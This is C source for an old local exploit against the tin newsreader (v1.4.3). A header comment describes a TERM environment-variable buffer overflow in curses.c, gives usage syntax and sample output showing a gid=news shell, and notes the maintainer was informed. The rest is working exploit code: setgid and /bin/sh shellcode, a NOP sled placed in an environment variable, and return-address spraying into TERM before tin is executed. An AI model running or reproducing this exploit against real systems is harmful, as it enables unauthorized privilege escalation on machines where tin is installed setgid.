/* (linux)tin[v1.4.3(stable)-] buffer overflow, by v9[v9@fakehalo.org]. this will give you a gid=news shell if /usr/bin/tin is setgid(=2755||=6755). the buffer that is overflowed in this exploit is only 40 characters long and at the point of overflow it is setuid(real_uid) and setgid(real_gid). so, knowing it is practially impossible if not totally impossible to set*id() and exec() in 40 characters of asm, i just filled that buffer with the return address to point to an environment variable(4096 bytes) getting placed on the stack. syntax: "./tin_bof [offset] [alignment] [group id]" or "./tin_bof --help" for required argument values. example: ------------------------------------------------- # ./tin_bof -2000 1 13 [ tin[v1.4.3(stable)-] newsreader buffer overflow, by: v9[v9@fakehalo.org]. ] *** [data]: return address: 0xbffff0b0, offset: -2000, alignment: 1, gid: 13. *** [data]: size(eip): 73, size(buf): 4078[nops:4001]. *** [data]: program is setgid(=2755): /usr/bin/tin. Reading config file... tin: Can't get entry for TERM sh-2.03$ id uid=1006(v9) gid=13(news) groups=100(users) sh-2.03$ ------------------------------------------------- note: this exploit requires that /usr/bin/tin be installed setuid(+setgid) from install (make install_setuid). this exploit was only written to obtain the gid of news, but by install the option exists to get the uid of news(9 usually) too. info: the following segment is from curses.c[line 251]: ------------------------------------------------- char the_termname[40], *p; if ((p = getenv ("TERM")) == (char *) 0) { my_fprintf (stderr, txt_no_term_set, tin_progname); return (FALSE); } if (strcpy (the_termname, p) == NULL) { my_fprintf (stderr, txt_cannot_get_term, tin_progname); return (FALSE); } ------------------------------------------------- tested: slackware 3.6 and 7.0. (gid=13 obtained from setuid install) status: informed package maintainer, (to be) fixed in tin>=1.4.4. */ #include #define PATH "/usr/bin/tin" // path to the tin newsreader binary. #define DEFAULT_OFFSET -2000 // you have about 4000 bytes of guessing room :) #define DEFAULT_ALIGN 1 // general aligment assumption. #define DEFAULT_GID 13 // 'cat /etc/group' if you think differently. static char exec[]= "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x00\x31\xc0\xb0\x47\xcd\x80\x31\xdb" "\x31\xc9\xb3\x00\xb1\x00\x31\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31" "\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" "\x01"; long pointer(void){__asm__("movl %esp,%eax");} int main(int argc,char **argv){ char eip[64],buf[4096]; // eip[] for the_termname and buf[] for the asmcode. int i,offset,align,gid; long ret; struct stat mod; printf("[ tin[v1.4.3(stable)-] newsreader buffer overflow, by: v9[v9@fakehalo.org]. ]\n"); if(argv[1]&&!strcmp(argv[1],"--help")){ printf("*** [syntax]: %s [offset] [alignment] [group id].\n",argv[0]); printf("*** [required]: argument alignment value must be: 0-3.\n"); printf("*** [required]: argument group id value must be: 1-255.\n"); exit(0); } if(argc>1){offset=atoi(argv[1]);} else{offset=DEFAULT_OFFSET;} if(argc>2){ if(atoi(argv[2])>3||atoi(argv[2])<0){ printf("*** [error]: ignored argument alignment value: %s. (use 0-3)\n",argv[2]); align=DEFAULT_ALIGN; } else{align=atoi(argv[2]);} } else{align=DEFAULT_ALIGN;} if(argc>3){ if(atoi(argv[3])<1||atoi(argv[3])>255){ printf("*** [error]: ignored argument gid value: %s. (use 1-255)\n",argv[3]); gid=DEFAULT_GID; } else{gid=atoi(argv[3]);} } else{gid=DEFAULT_GID;} ret=(pointer()-offset); for(i=align;i<64;i+=4){*(long *)&eip[i]=ret;} for(i=0;i<(4096-strlen(exec)-strlen(eip));i++){*(buf+i)=0x90;} exec[10]=gid;exec[22]=gid;exec[24]=gid; // fill in the group id(s). memcpy(buf+i,exec,strlen(exec)); memcpy(buf,"EXEC=",5);putenv(buf); // environment variable holding shellcode. memcpy(eip,"TERM=",5);putenv(eip); // filled with only the eip pointer. printf("*** [data]: return address: 0x%lx, offset: %d, alignment: %d, gid: %d.\n",ret,offset,align,gid); printf("*** [data]: size(eip): %d, size(buf): %d[nops:%d].\n",strlen(eip),strlen(buf),(strlen(buf)-strlen((char *)strrchr(buf,0x90))+1)); if(stat(PATH,&mod)){ printf("*** [error]: could not obtain stats successfully: %s.\n",PATH); exit(-1); } if(mod.st_mode==34285){printf("*** [data]: program is setgid(=2755): %s.\n\n",PATH);} else if(mod.st_mode==36333){printf("*** [data]: program is set*id(=6755): %s.\n\n",PATH);} else{ printf("*** [error]: program isn't (normal) setgid(set*id): %s. (2755||6755)\n",PATH); exit(-1); } if(execlp(PATH,"tin",0)){ printf("*** [error]: could not execute successfully: %s.\n",PATH); exit(-1); } }